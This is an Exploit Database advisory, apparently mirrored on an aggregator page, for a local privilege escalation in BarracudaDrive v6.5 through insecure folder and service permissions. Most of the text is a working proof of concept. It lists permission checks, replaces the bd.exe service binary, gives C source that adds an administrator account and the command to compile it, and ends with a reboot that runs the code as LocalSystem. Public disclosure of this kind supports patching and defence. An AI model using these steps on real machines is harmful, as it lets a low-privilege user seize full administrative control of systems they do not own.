BarracudaDrive v6.5 – Insecure Folder Permissions

• Exploit Database
• 56 阅读

• 作者： boku
  日期： 2020-09-03
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48789/

• # Exploit Title: BarracudaDrive v6.5 - Insecure Folder Permissions
  # Exploit Author:Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) 
  # CVE ID: N/A
  # Date: 2020-09-01
  # Vendor Homepage: https://barracudaserver.com/
  # Software Link: https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html
  # Version: v6.5
  # Tested On: Windows 10 Pro 
  # CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0
  # CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  # CWE-276: Incorrect Default Permissions
  # CWE-732: Incorrect Permission Assignment for Critical Resource
  # Vulnerability Description:
  # Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5 
  # allows local low-privilege attacker to escalate privileges to admin via replacing the bd.exe 
  # file and restarting the computer where the malicious code will be executed as 'LocalSystem'
  # on the next startup.
  
  ## Insecure Folder Permission
  C:\>cacls C:\bd
  C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
  NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
  BUILTIN\Users:(OI)(CI)(ID)R
  NT AUTHORITY\Authenticated Users:(ID)C
  NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
  
  ## Insecure File/Service Permission
  C:\>cacls C:\bd\bd.exe
  C:\bd\bd.exe BUILTIN\Administrators:(ID)F
   NT AUTHORITY\SYSTEM:(ID)F
   BUILTIN\Users:(ID)R
   NT AUTHORITY\Authenticated Users:(ID)C
  
  C:\>sc qc bd
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: bd
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : "C:\bd\bd.exe"
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : BarracudaDrive ( bd ) service
  DEPENDENCIES : Tcpip
  SERVICE_START_NAME : LocalSystem
  
  ## Local Privilege Escalation Proof of Concept
  #0.Download & install 
  
  #1.Create low privileged user & change to the user
  ## As admin
  C:\>net user lowpriv Password123! /add
  C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
  User namelowpriv
  Local Group Memberships*Users
  Global Group memberships *None
  
  #2.Move the Service EXE to a new name
  C:\bd>whoami
  desktop\lowpriv
  C:\bd>move bd.exe bd.service.exe
  1 file(s) moved.
  
  #3.Create malicious binary on kali linux
  ## Add Admin User C Code
   kali# cat addAdmin.c
   int main(void){
   system("net user boku mypassword /add");
   system("net localgroup Administrators boku /add");
   WinExec("C:\\bd\\bd.service.exe",0);
  return 0;
  } 
  
  ## Compile Code
   kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe
  
  #4. Transfer created 'bd.exe' to the Windows Host 
  
  #5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder
  C:\bd>move C:\Users\lowpriv\Downloads\bd.exe .
  
  #6. Check that exploit admin user doesn't exit
  C:\bd>net user boku
  The user name could not be found
  
  #6. Reboot the Computer
  C:\bd>shutdown /r
  
  #7. Login & look at that new Admin
  C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"
  User nameboku
  Local Group Memberships*Administrators *Users
  Global Group memberships *None